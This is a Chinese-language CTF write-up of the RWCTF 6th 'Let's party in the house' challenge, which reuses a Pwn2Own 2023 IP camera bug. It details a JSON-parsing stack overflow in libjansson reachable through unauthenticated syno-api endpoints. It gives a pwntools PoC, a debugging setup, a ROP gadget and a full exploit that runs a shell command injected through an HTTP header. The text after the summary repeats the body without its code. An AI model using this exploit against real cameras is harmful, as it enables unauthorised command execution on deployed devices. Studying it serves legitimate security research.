Pwn2Own & RWCTF 6th - Let’s party in the house
字数 758 2025-08-05 11:39:43

Pwn2Own & RWCTF 6th - Let's party in the house 漏洞分析与利用

1. 题目概述

这是一个关于IP Camera设备的漏洞利用挑战,涉及Pwn2Own 2023上被利用的漏洞。题目提供了一个运行在QEMU模拟环境中的IP Camera设备,目标是通过漏洞利用获取设备上的flag(位于/flag)。

2. 环境配置

2.1 启动环境

题目提供了run.sh脚本启动环境,默认账号密码为root:root。启动后环境会输出杂乱信息,其中包含telnet服务。

#!/bin/sh
qemu-system-arm \
    -m 1024 \
    -M virt,highmem=off \
    -kernel zImage \
    -initrd player.cpio \
    -nic user,hostfwd=tcp:0.0.0.0:8801-:80,hostfwd=tcp:0.0.0.0:8802-:8802 \
    -nographic

2.2 启用telnet调试

修改rcS文件添加telnet服务:

#!/bin/sh
source /etc/profile_prjcfg
telnetd -p 9901 -l /bin/sh
mount -a
echo "ker" > /proc/nvt_info/bootts
echo "rcS" > /proc/nvt_info/bootts

for initscript in /etc/init.d/S[0-9][0-9]*
do
    if [ -x $initscript ]; then
        echo "[Start] $initscript"
        $initscript
    fi
done

echo "rcS" > /proc/nvt_info/bootts
telnetd -p 8802 -l /bin/sh

3. 漏洞分析

3.1 漏洞位置

漏洞存在于/lib/libjansson.so.4.7.0库中的parse_object函数,这是一个JSON解析时的栈溢出漏洞。

关键漏洞代码:

json_t *__fastcall parse_object(lex_t *lex, int flags, json_error_t *error) {
    char v9[32]; // [sp+14h] [bp-40h] BYREF
    char v10[12]; // [sp+34h] [bp-20h] BYREF
    // ...
    _isoc99_sscanf(key, "%s %s", v9, v10); // stack-based buffer overflow
    // ...
}

3.2 漏洞触发路径

调用链为:

parse_object -> parse_value -> json_loads -> final_json_load (在synocam_param.cgi中)

3.3 攻击面分析

通过dirsearch扫描发现未授权访问的API端点:

/syno-api/session
/syno-api/activate
/syno-api/security/info/model
/syno-api/security/info/name
/syno-api/maintenance/firmware/version
/syno-api/security/info/language
/syno-api/security/info/mac
/syno-api/security/network/dhcp
/syno-api/security/info
/syno-api/security/info/serial_number

这些请求最终会路由到/www/camera-cgi/synocam_param.cgi处理。

4. 漏洞利用

4.1 PoC构造

基本PoC结构:

from pwn import *

p1 = b'a ' + b'a' * 0x30
json = b'{"' + p1 + b'": ""}'

headers = b'''POST /syno-api/security/info/mac HTTP/1.1
Content-Length: %d
Host: 127.0.0.1:8801
Content-Type: application/json
Connection: close

''' % len(json)

payload = headers + json

4.2 调试方法

使用gdbserver附加到webd进程:

gdbserver :1234 --attach <webd_pid>

GDB调试脚本:

target remote :1234
set follow-fork-mode parent
catch fork
c
set follow-fork-mode child
catch exec
c

4.3 ROP利用

发现可利用的gadget:

.text:00014D5C STR R3, [R11,#var_30]
.text:00014D60 LDR R0, [R11,#var_38]
.text:00014D64 BL _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv
.text:00014D68 MOV R2, R0
.text:00014D6C LDR R3, =(aR_0 - 0x14D78)
.text:00014D70 ADD R3, PC, R3 ; "r"
.text:00014D74 MOV R1, R3 ; modes
.text:00014D78 MOV R0, R2 ; command

4.4 完整利用

通过控制R0寄存器执行命令:

binary_base = 0x400000
gadget = 0x14D5c + binary_base
cmd = b'$HTTP_A'.ljust(8, b';')

p1 = b'a ' + b'b' * (0x60 + 0x24 - 8) + cmd + b'\u005c\u004d\u0041' # gadget编码

json = b'{"' + p1 + b'": ""}'

headers = b'''POST /syno-api/security/info/mac HTTP/1.1
Content-Length: %d
Host: 127.0.0.1:8801
A: cp /flag /www/index.html
Content-Type: application/json
Connection: close

''' % len(json)

payload = headers + json

5. 参考资源

  1. TeamT5漏洞分析
  2. GDB调试fork+exec子进程

6. 总结

该漏洞利用的关键点:

  1. 通过未授权API端点触发漏洞
  2. 利用JSON解析时的栈溢出控制程序流
  3. 构造ROP链或直接劫持控制流执行命令
  4. 通过HTTP头注入命令实现任意命令执行

漏洞利用成功后,可以将flag复制到web目录下直接访问获取。

Pwn2Own & RWCTF 6th - Let's party in the house 漏洞分析与利用 1. 题目概述 这是一个关于IP Camera设备的漏洞利用挑战,涉及Pwn2Own 2023上被利用的漏洞。题目提供了一个运行在QEMU模拟环境中的IP Camera设备,目标是通过漏洞利用获取设备上的flag(位于/flag)。 2. 环境配置 2.1 启动环境 题目提供了run.sh脚本启动环境,默认账号密码为root:root。启动后环境会输出杂乱信息,其中包含telnet服务。 2.2 启用telnet调试 修改rcS文件添加telnet服务: 3. 漏洞分析 3.1 漏洞位置 漏洞存在于 /lib/libjansson.so.4.7.0 库中的 parse_object 函数,这是一个JSON解析时的栈溢出漏洞。 关键漏洞代码: 3.2 漏洞触发路径 调用链为: 3.3 攻击面分析 通过dirsearch扫描发现未授权访问的API端点: 这些请求最终会路由到 /www/camera-cgi/synocam_param.cgi 处理。 4. 漏洞利用 4.1 PoC构造 基本PoC结构: 4.2 调试方法 使用gdbserver附加到webd进程: GDB调试脚本: 4.3 ROP利用 发现可利用的gadget: 4.4 完整利用 通过控制R0寄存器执行命令: 5. 参考资源 TeamT5漏洞分析 GDB调试fork+exec子进程 6. 总结 该漏洞利用的关键点: 通过未授权API端点触发漏洞 利用JSON解析时的栈溢出控制程序流 构造ROP链或直接劫持控制流执行命令 通过HTTP头注入命令实现任意命令执行 漏洞利用成功后,可以将flag复制到web目录下直接访问获取。